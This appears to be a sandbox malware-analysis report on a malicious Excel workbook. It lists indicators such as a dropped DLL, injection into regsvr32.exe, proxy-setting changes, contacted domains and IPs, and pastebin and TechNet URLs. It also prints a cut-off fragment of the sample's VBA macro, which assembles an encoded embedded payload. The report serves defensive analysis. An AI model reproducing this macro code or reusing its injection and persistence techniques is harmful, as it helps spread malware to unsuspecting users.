Attention: please enable javascript in order to properly view and use this malware analysis service.

Incident Response

Risk Assessment

Network Behavior
Contacts 7 domains and 5 hosts. View all details

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

  • Malicious Indicators 6

  • General
  • Installation/Persistance
    • Writes a PE file header to disc
      details
      "EXCEL.EXE" wrote 2048 bytes starting with PE header signature to file "%TEMP%\~HFYJEZHM.dll": 4d5a90000300000004000000ffff0000b8000000000000004000000000000000000000000000000000000000000000000000 ...
      source
      API Call
    • Writes data to a remote process
      details
      "EXCEL.EXE" wrote 1500 bytes to a foreign process "regsvr32.exe" (PID: 00002108)
      "EXCEL.EXE" wrote 4 bytes to a foreign process "regsvr32.exe" (PID: 00002108)
      "EXCEL.EXE" wrote 32 bytes to a foreign process "regsvr32.exe" (PID: 00002108)
      "EXCEL.EXE" wrote 52 bytes to a foreign process "regsvr32.exe" (PID: 00002108)
      source
      API Call
  • System Security
    • Modifies proxy settings
      details
      "EXCEL.EXE" (Access type: "DELETEVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP", Key: "PROXYBYPASS")
      "EXCEL.EXE" (Access type: "DELETEVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP", Key: "PROXYBYPASS")
      "regsvr32.exe" (Access type: "DELETEVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP", Key: "PROXYBYPASS")
      "regsvr32.exe" (Access type: "DELETEVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP", Key: "PROXYBYPASS")
      source
      Registry Access
  • Unusual Characteristics
  • Suspicious Indicators 11

  • Anti-Reverse Engineering
  • Environment Awareness
  • General
    • Reads configuration files
      details
      "EXCEL.EXE" read file "C:\Users\desktop.ini"
      "EXCEL.EXE" read file "%USERPROFILE%\Desktop\desktop.ini"
      "EXCEL.EXE" read file "C:\Users\%USERNAME%\Searches\desktop.ini"
      "EXCEL.EXE" read file "C:\Users\%USERNAME%\Videos\desktop.ini"
      source
      API Call
  • Installation/Persistance
    • Drops executable files
      details
      "~HFYJEZHM.dll" has type "PE32 executable (DLL) (GUI) Intel 80386, for MS Windows"
      source
      Extracted File
  • Network Related
    • Found potential URL in binary/memory
      details
      "https://social.technet.microsoft.com/Profile/technetxukbakupse','https://social.technet.microsoft.com/Profile/technetxuk','http://pastebin.com/RjN4aPYb"
      source
      String
  • Spyware/Information Retrieval
  • Unusual Characteristics
    • Contains embedded VBA macros with suspicious keywords
      details
      Found suspicious keyword "Shell" which indicates: "May run an executable file or a system command"
      Found suspicious keyword "Chr" which indicates: "May attempt to obfuscate specific strings"
      Found suspicious keyword "Binary" which indicates: "May read or write a binary file (if combined with Open)"
      Found suspicious keyword "Shell.Application" which indicates: "May run an application (if combined with CreateObject)"
      Found suspicious keyword "Write" which indicates: "May write to a file (if combined with Open)"
      Found suspicious keyword "Environ" which indicates: "May read system environment variables"
      Found suspicious keyword "CreateObject" which indicates: "May create an OLE object"
      Found suspicious keyword "Open" which indicates: "May open a file"
      Found suspicious keyword "CreateTextFile" which indicates: "May create a text file"
      source
      Static Parser
    • Reads information about supported languages
      details
      "regsvr32.exe" (Path: "\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE", Key: "EN")
      "regsvr32.exe" (Path: "\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE", Key: "EN")
      source
      Registry Access
  • Hiding 3 Suspicious Indicators
    • All indicators are available only in the private webservice or standalone version
  • Informative 9

  • Environment Awareness
  • General
    • Contacts domains
      details
      "www.ccidmeekparry.info"
      "microsoftsto.112.2o7.net"
      "ajax.aspnetcdn.com"
      "i2-technet.sec.s-msft.com"
      "i1.social.s-msft.com"
      "i-technet.sec.s-msft.com"
      "c.bing.com"
      source
      Network Traffic
    • Contacts server
      details
      "68.232.34.200"
      "23.45.107.56"
      "66.235.138.194"
      "54.148.156.55"
      "134.170.185.125"
      source
      Network Traffic
    • Contains PDB pathways
      details
      "regsvr32.pdb"
      source
      String
    • Contains embedded VBA macros
      details
      File "ThisWorkbook.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/ThisWorkbook") has code: "Public Sub GenXLS(ByRef x)
      GenXLS0 x
      End Sub
      Public Sub GenXLS0(ByRef x)
      x = x & "0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAALwAAAAAAAAAAEAAA/v///wAAAAD+////AAAA"
      x = x & "AC4AAAD/////////////////////////////////////////////////////////////////////////////////////////////"
      x = x & "////////////////////////////////////////////////////////////////////////////////////////////////////"
      x = x & "////////////////////////////////////////////////////////////////////////////////////////////////////"
      x = x & "////////////////////////////////////////////////////////////////////////////////////////////////////"
      x = x & "////////////////////////////////////////////////////////////////////////////////////////////////////"
      x = x & "//////////////////////////////////////////////////////////////////////////////////8JCBAAAAYFAFQ4zQfJ"
      x = x & "wAEABgcAAOEAAgCwBMEAAgAAAOIAAABcAHAABQAAYWRtaW4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg"
      x = x & "ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEIAAgCwBGEBAgAA"
      x = x & "AMABAAA9AQIAAQCcAAIAEQAZAAIAAAASAAIAAAATAAIAAACvAQIAAAC8AQIAAAA9ABIAAAAAAOIsVxI4AAAAAAABAFgCQAACAAAA"
      x = x & "jQACAAAAIgACAAAADgACAAEAtwECAAAA2gACAAAAMQAUANwAAAAIAJABAAAAAIYAAgGLW1NPMQAUANwAAAAIAJABAAAAAIYAAgGL"
      x = x & "W1NPMQAUANwAAAAIAJABAAAAAIYAAgGLW1NPMQAUANwAAAAIAJABAAAAAIYAAgGLW1NPMQAUALQAAAD/f5ABAAAAAIYAAgGLW1NP"
      x = x & "MQAUANwAAAAIAJABAAAAAIYAAgGLW1NPMQAUAGgBAAA2AJABAAAAAIYAAgGLW1NPMQAUACwBAQA2ALwCAAAAAIYAAgGLW1NPMQAU"
      x = x & "AAQBAQA2ALwCAAAAAIYAAgGLW1NPMQAUANwAAQA2ALwCAAAAAIYAAgGLW1NPMQAUANwAAAARAJABAAAAAIYAAgGLW1NPMQAUANwA"
      x = x & "AAAUAJABAAAAAIYAAgGLW1NPMQAUANwAAAA8AJABAAAAAIYAAgGLW1NPMQAUANwAAAA+AJABAAAAAIYAAgGLW1NPMQAUANwAAQA/"
      x = x & "ALwCAAAAAIYAAgGLW1NPMQAUANwAAQA0ALwCAAAAAIYAAgGLW1NPMQAUANwAAAA0AJABAAAAAIYAAgGLW1NPMQAUANwAAQAJALwC"
      x = x & "AAAAAIYAAgGLW1NPMQAUANwAAAAKAJABAAAAAIYAAgGLW1NPMQAUANwAAgAXAJABAAAAAIYAAgGLW1NPMQAUANwAAQAIALwCAAAA"
      x = x & "AIYAAgGLW1NPMQAUANwAAAAJAJABAAAAAIYAAgGLW1NPHgQYAAUAEwAAIqUiIywjIzA7IqUiXC0jLCMjMB4EHQAGABgAACKlIiMs"
      x = x & "IyMwO1tSZWRdIqUiXC0jLCMjMB4EHgAHABkAACKlIiMsIyMwLjAwOyKlIlwtIywjIzAuMDAeBCMACAAeAAAipSIjLCMjMC4wMDtb"
      x = x & "UmVkXSKlIlwtIywjIzAuMDAeBDcAKgAyAABfICKlIiogIywjIzBfIDtfICKlIiogXC0jLCMjMF8gO18gIqUiKiAiLSJfIDtfIEBf"
      x = x & "IB4ELgApACkAAF8gKiAjLCMjMF8gO18gKiBcLSMsIyMwXyA7XyAqICItIl8gO18gQF8gHgQ/ACwAOgAAXyAipSIqICMsIyMwLjAw"
      x = x & "XyA7XyAipSIqIFwtIywjIzAuMDBfIDtfICKlIiogIi0iPz9fIDtfIEBfIB4ENgArADEAAF8gKiAjLCMjMC4wMF8gO18gKiBcLSMs"
      x = x & "IyMwLjAwXyA7XyAqICItIj8/XyA7XyBAXyAeBBoAFwAVAABcJCMsIyMwXyk7XChcJCMsIyMwXCkeBB8AGAAaAABcJCMsIyMwXyk7"
      x = x & "W1JlZF1cKFwkIywjIzBcKR4EIAAZABsAAFwkIywjIzAuMDBfKTtcKFwkIywjIzAuMDBcKR4EJQAaACAAAFwkIywjIzAuMDBfKTtb"
      x = x & "UmVkXVwoXCQjLCMjMC4wMFwp4AAUAAAAAAD1/xAAAAAAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1"
      x = x & "/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAA"
      x = x & "APQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQA"
      x = x & "AAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAA"
      x = x & "AAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAYAAAD1/xAAAPQAAAAAAAAA"
      x = x & "AMAg4AAUAAAAAAABABAAAAAAAAAAAAAAAsAg4AAUAAYAAAD1/xAAALQAAAAAAAAABJsg4AAUAAYAAAD1/xAAALQAAAAAAAAABK8g"
      x = x & "4AAUAAYAAAD1/xAAALQAAAAAAAAABIkg4AAUAAYAAAD1/xAAALQAAAAAAAAABJog4AAUAAYAAAD1/xAAALQAAAAAAAAABJ8g4AAU"
      x = x & "AAYAAAD1/xAAALQAAAAAAAAABKog4AAUAAYAAAD1/xAAALQAAAAAAAAABKwg4AAUAAYAAAD1/xAAALQAAAAAAAAABK8g4AAUAAYA"
      x = x & "AAD1/xAAALQAAAAAAAAABJYg4AAUAAYAAAD1/xAAALQAAAAAAAAABKsg4AAUAAYAAAD1/xAAALQAAAAAAAAABKwg4AAUAAYAAAD1"
      x = x & "/xAAALQAAAAAAAAABKsg4AAUABYAAAD1/xAAALQAAAAAAAAABKwg4AAUABYAAAD1/xAAALQAAAAAAAAABK8g4AAUABYAAAD1/xAA"
      x = x & "ALQAAAAAAAAABJYg4AAUABYAAAD1/xAAALQAAAAAAAAABKsg4AAUABYAAAD1/xAAALQAAAAAAAAABLEg4AAUABYAAAD1/xAAALQA"
      x = x & "AAAAAAAABLkg4AAUAAYACQD1/xAAAPgAAAAAAAAAAMAg4AAUAAcAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAgAAAD1/xAAANQAUAAA"
      x = x & "gBgAAMAg4AAUAAkAAAD1/xAAANQAUAAAABYAAMAg4AAUAAoAAAD1/xAAANQAIAAAABYAAMAg4AAUAAoAAAD1/xAAAPQAAAAAAAAA"
      x = x & "AMAg4AAUAAwAAAD1/xAAALQAAAAAAAAABK0g4AAUAAsAAAD1/xAAALQAAAAAAAAABKog4AAUABUAAAD1/xAAANQAYQAAsRgAAMAg"
      x = x & "4AAUAAYALAD1/xAAAPgAAAAAAAAAAMAg4AAUAAYAKgD1/xAAAPgAAAAAAAAAAMAg4AAUABAAAAD1/xAAAJQREZcLlwsABJYg4AAU"
      x = x & "ABIAAAD1/xAAAJRmZr8fvx8ABLcg4AAUABQAAAD1/xAAAPQAAAAAAAAAAMAg4AAUABMAAAD1/xAAAPQAAAAAAAAAAMAg4AAUABEA"
      x = x & "AAD1/xAAANQAYAAAABoAAMAg4AAUAAYAKwD1/xAAAPgAAAAAAAAAAMAg4AAUAAYAKQD1/xAAAPgAAAAAAAAAAMAg4AAUAA0AAAD1"
      x = x & "/xAAALQAAAAAAAAABKsg4AAUAA8AAAD1/xAAAJQREb8fvx8ABJYg4AAUAA4AAAD1/xAAAJQREZcLlwsABK8g4AAUABYAAAD1/xAA"
      x = x & "ALQAAAAAAAAABLEg4AAUABYAAAD1/xAAALQAAAAAAAAABLUg4AAUABYAAAD1/xAAALQAAAAAAAAABLcg4AAUABYAAAD1/xAAALQA"
      x = x & "AAAAAAAABLMg4AAUABYAAAD1/xAAALQAAAAAAAAABL4g4AAUABYAAAD1/xAAALQAAAAAAAAABLkg4AAUAAYAAAD1/xAAAJwRERYL"
      x = x & "FgsABJogfAgUAHwIAAAAAAAAAAAAAAAAPgChz7uffQgtAH0IAAAAAAAAAAAAAAAAAAAAAAIADQAUAAMAAAABAAAALjAwXClfICoO"
      x = x & "AAUAAn0ILQB9CAAAAAAAAAAAAAAAAAEAAAACAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAJ9CC0AfQgAAAAAAAAAAAAAAAACAAAA"
      x = x & "AgANABQAAwAAAAEAAAAuMDBcKV8gKg4ABQACfQgtAH0IAAAAAAAAAAAAAAAAAwAAAAIADQAUAAMAAAABAAAALjAwXClfICoOAAUA"
      x = x & "An0ILQB9CAAAAAAAAAAAAAAAAAQAAAACAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAJ9CC0AfQgAAAAAAAAAAAAAAAAFAAAAAgAN"
      x = x & "ABQAAwAAAAEAAAAuMDBcKV8gKg4ABQACfQgtAH0IAAAAAAAAAAAAAAAABgAAAAIADQAUAAMAAAABAAAALjAwXClfICoOAAUAAn0I"
      x = x & "LQB9CAAAAAAAAAAAAAAAAAcAAAACAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAJ9CC0AfQgAAAAAAAAAAAAAAAAIAAAAAgANABQA"
      x = x & "AwAAAAEAAAAuMDBcKV8gKg4ABQACfQgtAH0IAAAAAAAAAAAAAAAACQAAAAIADQAUAAMAAAABAAAALjAwXClfICoOAAUAAn0ILQB9"
      x = x & "CAAAAAAAAAAAAAAAAAoAAAACAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAJ9CC0AfQgAAAAAAAAAAAAAAAALAAAAAgANABQAAwAA"
      x = x & "AAEAAAAuMDBcKV8gKg4ABQACfQgtAH0IAAAAAAAAAAAAAAAADAAAAAIADQAUAAMAAAABAAAALjAwXClfICoOAAUAAn0ILQB9CAAA"
      x = x & "AAAAAAAAAAAAAA0AAAACAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAJ9CC0AfQgAAAAAAAAAAAAAAAAOAAAAAgANABQAAwAAAAEA"
      x = x & "AAAuMDBcKV8gKg4ABQACfQgtAH0IAAAAAAAAAAAAAAAADwAAAAIADQAUAAMAAAABAAAALjAwXClfICoOAAUAAn0IQQB9CAAAAAAA"
      x = x & "AAAAAAAAABAAAAADAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIEABQAAwBlZgQAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAA"
      x = x & "ABEAAAADAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIEABQAAwBlZgUAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAABIAAAAD"
      x = x & "AA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIEABQAAwBlZgYAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAABMAAAADAA0AFAAD"
      x = x & "AAAAAQAAAC4wMFwpXyAqDgAFAAIEABQAAwBlZgcAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAABQAAAADAA0AFAADAAAAAQAA"
      x = x & "AC4wMFwpXyAqDgAFAAIEABQAAwBlZggAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAABUAAAADAA0AFAADAAAAAQAAAC4wMFwp"
      x = x & "XyAqDgAFAAIEABQAAwBlZgkAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAABYAAAADAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAF"
      x = x & "AAIEABQAAwDMTAQAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAABcAAAADAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIEABQA"
      x = x & "AwDMTAUAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAABgAAAADAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIEABQAAwDMTAYA"
      x = x & "AAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAABkAAAADAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIEABQAAwDMTAcAAAA7XyBA"
      x = x & "XyAgIH0IQQB9CAAAAAAAAAAAAAAAABoAAAADAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIEABQAAwDMTAgAAAA7XyBAXyAgIH0I"
      x = x & "QQB9CAAAAAAAAAAAAAAAABsAAAADAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIEABQAAwDMTAkAAAA7XyBAXyAgIH0IQQB9CAAA"
      x = x & "AAAAAAAAAAAAABwAAAADAA0AFAADAAAAAAAAAC4wMFwpXyAqDgAFAAIEABQAAwAyMwQAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAA"
      x = x & "AAAAAB0AAAADAA0AFAADAAAAAAAAAC4wMFwpXyAqDgAFAAIEABQAAwAyMwUAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAAB4A"
      x = x & "AAADAA0AFAADAAAAAAAAAC4wMFwpXyAqDgAFAAIEABQAAwAyMwYAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAAB8AAAADAA0A"
      x = x & "FAADAAAAAAAAAC4wMFwpXyAqDgAFAAIEABQAAwAyMwcAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAACAAAAADAA0AFAADAAAA"
      x = x & "AAAAAC4wMFwpXyAqDgAFAAIEABQAAwAyMwgAAAA7XyBAXyAgIH0IQQB9CAAAAAAAAAAAAAAAACEAAAADAA0AFAADAAAAAAAAAC4w"
      x = x & "MFwpXyAqDgAFAAIEABQAAwAyMwkAAAA7XyBAXyAgIH0ILQB9CAAAAAAAAAAAAAAAACIAAAACAA0AFAADAAAAAQAAAC4wMFwpXyAq"
      x = x & "DgAFAAJ9CC0AfQgAAAAAAAAAAAAAAAAjAAAAAgANABQAAwAAAAMAAAAuMDBcKV8gKg4ABQABfQhBAH0IAAAAAAAAAAAAAAAAJAAA"
      x = x & "AAMADQAUAAMAAAADAAAALjAwXClfICoOAAUAAggAFAADAAAABAAAADtfIEBfICAgfQhBAH0IAAAAAAAAAAAAAAAAJQAAAAMADQAU"
      x = x & "AAMAAAADAAAALjAwXClfICoOAAUAAggAFAADAP8/BAAAADtfIEBfICAgfQhBAH0IAAAAAAAAAAAAAAAAJgAAAAMADQAUAAMAAAAD"
      x = x & "AAAALjAwXClfICoOAAUAAggAFAADADIzBAAAADtfIEBfICAgfQgtAH0IAAAAAAAAAAAAAAAAJwAAAAIADQAUAAMAAAADAAAALjAw"
      x = x & "XClfICoOAAUAAn0IQQB9CAAAAAAAAAAAAAAAACgAAAADAA0AFAACAAAAnAAG/y4wMFwpXyAqDgAFAAIEABQAAgAAAP/Hzv87XyBA"
      x = x & "XyAgIH0IQQB9CAAAAAAAAAAAAAAAACkAAAADAA0AFAACAAAAAGEA/y4wMFwpXyAqDgAFAAIEABQAAgAAAMbvzv87XyBAXyAgIH0I"
      x = x & "VQB9CAAAAAAAAAAAAAAAACoAAAAEAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAIHABQAAwAAAAQAAAA7XyBAXyAgIAgAFAADAAAA"
      x = x & "BAAAACAgICAgICAgfQgtAH0IAAAAAAAAAAAAAAAAKwAAAAIADQAUAAMAAAABAAAALjAwXClfICoOAAUAAn0ILQB9CAAAAAAAAAAA"
      x = x & "AAAAACwAAAACAA0AFAADAAAAAQAAAC4wMFwpXyAqDgAFAAJ9CJEAfQgAAAAAAAAAAAAAAAAtAAAABwANABQAAgAAAPp9AP8uMDBc"
      x = x & "KV8gKg4ABQACBAAUAAIAAADy8vL/O18gQF8gICAHABQAAgAAAH9/f/8gICAgICAgIAgAFAACAAAAf39//yAgICAgICAgCQAUAAIA"
      x = x & "AAB/f3//AAAAAAAAAAAKABQAAgAAAH9/f/8AAAAAAAAAAH0IkQB9CAAAAAAAAAAAAAAAAC4AAAAHAA0AFAADAAAAAAAAAC4wMFwp"
      x = x & "XyAqDgAFAAIEABQAAgAAAKWlpf87XyBAXyAgIAcAFAACAAAAPz8//yAgICAgICAgCAAUAAIAAAA/Pz//ICAgICAgICAJABQAAgAA"
      x = x & "AD8/P/8AAAAAAAAAAAoAFAACAAAAPz8//wAAAAAAAAAAfQgtAH0IAAAAAAAAAAAAAAAALwAAAAIADQAUAAIAAAB/f3//LjAwXClf"
      x = x & "ICoOAAUAAn0ILQB9CAAAAAAAAAAAAAAAADAAAAACAA0AFAACAAAA/wAA/y4wMFwpXyAqDgAFAAJ9CEEAfQgAAAAAAAAAAAAAAAAx"
      x = x & "AAAAAwANABQAAgAAAPp9AP8uMDBcKV8gKg4ABQACCAAUAAIAAAD/gAH/O18gQF8gICB9CC0AfQgAAAAAAAAAAAAAAAAyAAAAAgAN"
      x = x & "ABQAAwAAAAEAAAAuMDBcKV8gKg4ABQACfQgtAH0IAAAAAAAAAAAAAAAAMwAAAAIADQAUAAMAAAABAAAALjAwXClfICoOAAUAAn0I"
      x = x & "QQB9CAAAAAAAAAAAAAAAADQAAAADAA0AFAACAAAAnGUA/y4wMFwpXyAqDgAFAAIEABQAAgAAAP/rnP87XyBAXyAgIH0IkQB9CAAA"
      x = x & "AAAAAAAAAAAAADUAAAAHAA0AFAACAAAAPz8//y4wMFwpXyAqDgAFAAIEABQAAgAAAPLy8v87XyBAXyAgIAcAFAACAAAAPz8//yAg"
      x = x & "ICAgICAgCAAUAAIAAAA/Pz//ICAgICAgICAJABQAAgAAAD8/P/8AAAAAAAAAAAoAFAACAAAAPz8//wAAAAAAAAAAfQiRAH0IAAAA"
      x = x & "AAAAAAAAAAAANgAAAAcADQAUAAIAAAA/P3b/LjAwXClfICoOAAUAAgQAFAACAAAA/8yZ/ztfIEBfICAgBwAUAAIAAAB/f3//ICAg"
      x = x & "ICAgICAIABQAAgAAAH9/f/8gICAgICAgIAkAFAACAAAAf39//wAAAAAAAAAACgAUAAIAAAB/f3//AAAAAAAAAAB9CEEAfQgAAAAA"
      x = x & "AAAAAAAAAAA3AAAAAwANABQAAwAAAAAAAAAuMDBcKV8gKg4ABQACBAAUAAMAAAAEAAAAO18gQF8gICB9CEEAfQgAAAAAAAAAAAAA"
      x = x & "AAA4AAAAAwANABQAAwAAAAAAAAAuMDBcKV8gKg4ABQACBAAUAAMAAAAFAAAAO18gQF8gICB9CEEAfQgAAAAAAAAAAAAAAAA5AAAA"
      x = x & "AwANABQAAwAAAAAAAAAuMDBcKV8gKg4ABQACBAAUAAMAAAAGAAAAO18gQF8gICB9CEEAfQgAAAAAAAAAAAAAAAA6AAAAAwANABQA"
      x = x & "AwAAAAAAAAAuMDBcKV8gKg4ABQACBAAUAAMAAAAHAAAAO18gQF8gICB9CEEAfQgAAAAAAAAAAAAAAAA7AAAAAwANABQAAwAAAAAA"
      x = x & "AAAuMDBcKV8gKg4ABQACBAAUAAMAAAAIAAAAO18gQF8gICB9CEEAfQgAAAAAAAAAAAAAAAA8AAAAAwANABQAAwAAAAAAAAAuMDBc"
      x = x & "KV8gKg4ABQACBAAUAAMAAAAJAAAAO18gQF8gICB9CJEAfQgAAAAAAAAAAAAAAAA9AAAABwANABQAAwAAAAEAAAAuMDBcKV8gKg4A"
      x = x & "BQACBAAUAAIAAAD//8z/O18gQF8gICAHABQAAgAAALKysv8gICAgICAgIAgAFAACAAAAsrKy/yAgICAgICAgCQAUAAIAAACysrL/"
      x = x & "AAAAAAAAAAAKABQAAgAAALKysv8AAAAAAAAAAJMCGQAQAAoAATIAMAAlACAALQAgAEB3coIgADEAkghHAJIIAAAAAAAAAAAAAAEE"
      x = x & "Hv8KADIAMAAlACAALQAgAEB3coIgADEAAAADAAEADAAHBGVm3ev3/wUADAAHAQAAAAAA/yUABQACkwIZABEACgABMgAwACUAIAAt"
      x = x & "ACAAQHdygiAAMgCSCEcAkggAAAAAAAAAAAAAAQQi/woAMgAwACUAIAAtACAAQHdygiAAMgAAAAMAAQAMAAcFZWb85Nb/BQAMAAcB"
      x = x & "AAAAAAD/JQAFAAKTAhkAEgAKAAEyADAAJQAgAC0AIABAd3KCIAAzAJIIRwCSCAAAAAAAAAAAAAABBCb/CgAyADAAJQAgAC0AIABA"
      x = x & "d3KCIAAzAAAAAwABAAwABwZlZu3t7f8FAAwABwEAAAAAAP8lAAUAApMCGQATAAoAATIAMAAlACAALQAgAEB3coIgADQAkghHAJII"
      x = x & "AAAAAAAAAAAAAAEEKv8KADIAMAAlACAALQAgAEB3coIgADQAAAADAAEADAAHB2Vm//LM/wUADAAHAQAAAAAA/yUABQACkwIZABQA"
      x = x & "CgABMgAwACUAIAAtACAAQHdygiAANQCSCEcAkggAAAAAAAAAAAAAAQQu/woAMgAwACUAIAAtACAAQHdygiAANQAAAAMAAQAMAAcI"
      x = x & "ZWbZ4fL/BQAMAAcBAAAAAAD/JQAFAAKTAhkAFQAKAAEyADAAJQAgAC0AIABAd3KCIAA2AJIIRwCSCAAAAAAAAAAAAAABBDL/CgAy"
      x = x & "ADAAJQAgAC0AIABAd3KCIAA2AAAAAwABAAwABwllZuLv2v8FAAwABwEAAAAAAP8lAAUAApMCGQAWAAoAATQAMAAlACAALQAgAEB3"
      x = x & "coIgADEAkghHAJIIAAAAAAAAAAAAAAEEH/8KADQAMAAlACAALQAgAEB3coIgADEAAAADAAEADAAHBMxMvdfu/wUADAAHAQAAAAAA"
      x = x & "/yUABQACkwIZABcACgABNAAwACUAIAAtACAAQHdygiAAMgCSCEcAkggAAAAAAAAAAAAAAQQj/woANAAwACUAIAAtACAAQHdygiAA"
      x = x & "MgAAAAMAAQAMAAcFzEz4y63/BQAMAAcBAAAAAAD/JQAFAAKTAhkAGAAKAAE0ADAAJQAgAC0AIABAd3KCIAAzAJIIRwCSCAAAAAAA"
      x = x & "AAAAAAABBCf/CgA0ADAAJQAgAC0AIABAd3KCIAAzAAAAAwABAAwABwbMTNvb2/8FAAwABwEAAAAAAP8lAAUAApMCGQAZAAoAATQA"
      x = x & "MAAlACAALQAgAEB3coIgADQAkghHAJIIAAAAAAAAAAAAAAEEK/8KADQAMAAlACAALQAgAEB3coIgADQAAAADAAEADAAHB8xM/+aZ"
      x = x & "/wUADAAHAQAAAAAA/yUABQACkwIZABoACgABNAAwACUAIAAtACAAQHdygiAANQCSCEcAkggAAAAAAAAAAAAAAQQv/woANAAwACUA"
      x = x & "IAAtACAAQHdygiAANQAAAAMAAQAMAAcIzEy0xuf/BQAMAAcBAAAAAAD/JQAFAAKTAhkAGwAKAAE0ADAAJQAgAC0AIABAd3KCIAA2"
      x = x & "AJIIRwCSCAAAAAAAAAAAAAABBDP/CgA0ADAAJQAgAC0AIABAd3KCIAA2AAAAAwABAAwABwnMTMbgtP8FAAwABwEAAAAAAP8lAAUA"
      x = x & "ApMCGQAcAAoAATYAMAAlACAALQAgAEB3coIgADEAkghHAJIIAAAAAAAAAAAAAAEEIP8KADYAMAAlACAALQAgAEB3coIgADEAAAAD"
      x = x & "AAEADAAHBDIzm8Lm/wUADAAHAAAA/////yUABQACkwIZAB0ACgABNgAwACUAIAAtACAAQHdygiAAMgCSCEcAkggAAAAAAAAAAAAA"
      x = x & "AQQk/woANgAwACUAIAAtACAAQHdygiAAMgAAAAMAAQAMAAcFMjP0sIT/BQAMAAcAAAD/////JQAFAAKTAhkAHgAKAAE2ADAAJQAg"
      x = x & "AC0AIABAd3KCIAAzAJIIRwCSCAAAAAAAAAAAAAABBCj/CgA2ADAAJQAgAC0AIABAd3KCIAAzAAAAAwABAAwABwYyM8nJyf8FAAwA"
      x = x & "BwAAAP////8lAAUAApMCGQAfAAoAATYAMAAlACAALQAgAEB3coIgADQAkghHAJIIAAAAAAAAAAAAAAEELP8KADYAMAAlACAALQAg"
      x = x & "AEB3coIgADQAAAADAAEADAAHBzIz/9lm/wUADAAHAAAA/////yUABQACkwIZACAACgABNgAwACUAIAAtACAAQHdygiAANQCSCEcA"
      x = x & "kggAAAAAAAAAAAAAAQQw/woANgAwACUAIAAtACAAQHdygiAANQAAAAMAAQAMAAcIMjOOqdv/BQAMAAcAAAD/////JQAFAAKTAhkA"
      x = x & "IQAKAAE2ADAAJQAgAC0AIABAd3KCIAA2AJIIRwCSCAAAAAAAAAAAAAABBDT/CgA2ADAAJQAgAC0AIABAd3KCIAA2AAAAAwABAAwA"
      x = x & "BwkyM6nQjv8FAAwABwAAAP////8lAAUAApMCBAAigAX/kggcAJIIAAAAAAAAAAAAAAEFBf8DAH52BlLUawAAAACTAgkAIwACAAEH"
      x = x & "aJiYkggrAJIIAAAAAAAAAAAAAAEDD/8CAAdomJgAAAIABQAMAAcDAABEVGr/JQAFAAGTAg0AJAAEAAEHaJiYIAAxAJIIPQCSCAAA"
      x = x & "AAAAAAAAAAABAxD/BAAHaJiYIAAxAAAAAwAFAAwABwMAAERUav8lAAUAAgcADgAHBAAAW5vV/wUAkwINACUABAABB2iYmCAAMgCS"
